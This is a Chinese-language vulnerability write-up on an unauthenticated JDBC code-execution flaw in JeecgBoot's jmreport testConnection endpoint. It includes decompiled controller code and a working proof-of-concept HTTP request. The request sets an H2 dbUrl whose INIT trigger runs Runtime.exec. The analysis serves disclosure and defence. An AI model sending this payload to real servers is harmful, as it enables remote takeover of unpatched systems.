首页 > 其他分享 >jeecg-Boot基于H2驱动的JDBC任意代码执行

jeecg-Boot基于H2驱动的JDBC任意代码执行

时间:2023-08-20 09:01:19浏览次数:43  
标签:jmreportDynamicDataSourceVo JDBC dbUrl H2 数据库 代码执行 org jeecg jmreport

这几天的把人都给熬傻了,这个漏洞需要添加H2数据库依赖,jeecg自带的依赖没有什么可以利用的点,不知道有没有大师傅有其他想法

漏洞描述

JeecgBoot 受影响版本中,由于 jeecg-boot/jmreport/testConnection Api接口未进行身份验证,并且未对 dbUrl 参数进行限制,当应用端存在H2数据库驱动依赖时,攻击者发送包含恶意 dbUrl 参数的http请求远程执行任意代码。

影响版本:JeecgBoot[3.0, 3.5.3]

漏洞分析

这个漏洞主要是dbUrl参数可控,JDBC使用dbUrl与数据库建立连接,在连接阶段导致任意代码执行

可以看到JmreportDynamicDataSourceVo里面有 dbUrl

org.jeecg.modules.jmreport.desreport.a.a

//请求路径为"/testConnection"
@PostMapping({"/testConnection"})
//@RequestBody表示从请求的主体中提取 JSON 或 XML 数据,并将其映射到 jmreportDynamicDataSourceVo 参数上
public Result a(@RequestBody JmreportDynamicDataSourceVo jmreportDynamicDataSourceVo) {
	Connection connection = null;
	String jmreportDynamicDataSourceVo2 = jmreportDynamicDataSourceVo.toString();
	a.info(" local cache key: " + jmreportDynamicDataSourceVo2);
	Object a2 = this.localCache.a(jmreportDynamicDataSourceVo2);
	if (g.d(a2)) {
		int intValue = g.e(a2).intValue();
		a.info(" local cache value: " + intValue);
		if (intValue >= 3) {
			return Result.error("数据源已连接错误3次以上,请检查配置信息!");
		}
		if (intValue == 0) {
			return Result.OK("数据库连接成功", true);
		}
	} else {
		this.localCache.a(jmreportDynamicDataSourceVo2, 0, 3600000);
	}
	try {
		try {
			if (!this.jmReportDbSourceService.isHave(c.cI, jmreportDynamicDataSourceVo.getDbType())) {
                //从jmreportDynamicDataSourceVo对象上获取DbDriver
				Class.forName(jmreportDynamicDataSourceVo.getDbDriver());
                //设置连接超时时间
				DriverManager.setLoginTimeout(60);
                //jmreportDynamicDataSourceVo对象上的DbUrl经过处理后赋值给String g
				String g = org.jeecg.modules.jmreport.dyndb.util.b.g(jmreportDynamicDataSourceVo.getDbUrl());
				//将g作为url建立数据库连接
                Connection connection2 = DriverManager.getConnection(g, jmreportDynamicDataSourceVo.getDbUsername(), jmreportDynamicDataSourceVo.getDbPassword());

这段代码先传入一个 JmreportDynamicDataSourceVo 对象的 JSON

然后加载从jmreportDynamicDataSourceVo对象获取DbDriver,再获取DbUrl经过org.jeecg.modules.jmreport.dyndb.util.b.g()处理后赋值给String g,最后 Connection connection2 = DriverManager.getConnection(g, DbUsername, Dbpassword);建立数据库连接

看一眼org.jeecg.modules.jmreport.dyndb.util.b.g()

判断如果为mysql的JDBC连接则设置allowLoadLocalInfile为false,关闭本地文件读取

因为他原本的mysql-java-connector还有其他依赖版本较高,没办法利用,需要添加H2数据库驱动依赖

POC

POST /jeecg-boot/jmreport/testConnection HTTP/1.1
Host: 
Content-Type: application/json
Content-Length: 326

{"id":"1",
"code":"",
"dbType":"",
"dbDriver":"org.h2.Driver",
"dbUrl":"jdbc:h2:mem:test;OLD_INFORMATION_SCHEMA=TRUE;init=CREATE TRIGGER hhhh BEFORE SELECT ON INFORMATION_SCHEMA.CATALOGS AS '//javascript\njava.lang.Runtime.getRuntime().exec(\"calc\")'",
"dbName":"",
"dbUsername":"",
"dbPassword":"",
"connectTimes":5}

标签:jmreportDynamicDataSourceVo,JDBC,dbUrl,H2,数据库,代码执行,org,jeecg,jmreport
From: https://www.cnblogs.com/uein/p/17643558.html

相关文章

  • ​Win10_22H2_2023年8月累积更新
    大版本号:22H2内部版本号:19045.3324大版本每年发布一次,如22H2、23H2小版本每月发布一次,如22H2.1234、22H2.2345功能排序:企业版>教育版>专业版,家庭版不建议装消费者版和商业版区别:镜像包含系统版本不同,前者包含家庭、专业和教育;后者包含专业、教育和企业。下载完记得验证hash值,以......
  • ​Win11_22H2_2023年8月累积更新
    大版本号:22H2内部版本号:22621.2134大版本每年发布一次,如22H2、23H2小版本每月发布一次,如22H2.1234、22H2.2345功能排序:企业版>教育版>专业版,家庭版不要装消费者版和商业版区别:镜像包含系统版本不同,前者包含家庭、专业和教育;后者包含专业、教育和企业。下载完记得验证hash值,以防......
  • zlmediakit源码学习(扩展支持转码H265/H264)
    在zlmediakit源码基础上继续探索扩展支持H265/H264的转码功能。参照上一篇帖子:https://www.cnblogs.com/feixiang-energy/p/17623567.html 作者已经封装好了基于ffmpeg实现的解码、编码、视频图像格式转换、音频重采样等接口,https://gitee.com/xia-chu/ZLMediaKit/blob/feature......
  • JDBC Vertica Source Connector 使用文档
    支持以下引擎SparkFlinkSeaTunnelZeta关键特性批处理精确一次性处理列投影并行处理支持用户自定义拆分支持查询SQL并实现投影效果描述通过JDBC读取外部数据源数据。支持的数据源信息DatasourceSupportedversionsDriverUrlMavenVerticaDiffer......
  • Spring Boot集成Sharding JDBC分库分表
    背景近期公司购物车项目需要使用ShardingJDBC分表,特记录下。ps:未分库依赖引入<!--sharding-sphereVersion:4.1.1--><dependency><groupId>org.apache.shardingsphere</groupId><artifactId>sharding-jdbc-spring-boot-starter</artifactId><ver......
  • SSO单点登录(SpringSecurity OAuth2.0 redis mysql jwt)
    SSO单点登录什么是单点登录SSO(SingleSignOn)在多系统架构中,用户只需要一次登录就可以无需再次登录(比如你在打开淘宝之后点击里边的天猫)在以前我们的单系统中,用户如果登录多个服务需要多次登录,实现单点登录之后,可以实现一次登录,全部登录!一次注销,全部注销原理图用户......
  • H265格式兼容各个浏览器web端播放方案
    可能有很多朋友会遇到H265格式的视频流无法播放,毕竟现在很多相机都支持h265了,确实有很多优点,但是它最大的问题就是很多浏览器无法播放,也有部分浏览器能够兼容h265,但是总不能让用户指定浏览器使用吧,下面来说说怎么兼容各个浏览器播放。无非两种方案,第一种就是使用ffmpeg进行转码,这种......
  • log4j 配置中数据库jdbc配置: sqlonly,sqltiming,audit,resultset,connection 区别
    log4j用以下几个可以配置的日志种类:jdbc.sqlonly:仅记录SQLjdbc.sqltiming:记录SQL以及耗时信息jdbc.audit:记录除了ResultSet之外的所有JDBC调用信息,会产生大量的记录,有利于调试跟踪具体的JDBC问题jdbc.resultset:会产生更多的记录信息,因为记录了ResultSet的信......
  • JDBC之常规插入,Statement和PreparedStatement批处理时间问题
    已经封装好的通用的批处理语句:importjava.io.FileNotFoundException;importjava.io.FileReader;importjava.io.IOException;importjava.sql.*;importjava.util.Properties;/**是一个工具类:作用:用于封装通用的获取连接、通用的增删改、通用的查询版本:v0.0.0.1方法:ge......
  • springjdbc处理nvarchar
    当我们使用spring-jdbc来做持久化时(注意不是spring-data-jbc),有时候一些特殊字符存入数据库时会用到nvarchar、nvarchar2这种类型(比如存放化学式,如CO₂等),默认会直接按照String类型来处理字段类型映射,如果要最终让使用ps.setNString这种,一般有几种办法。当使用JdbcTemplate时,可以......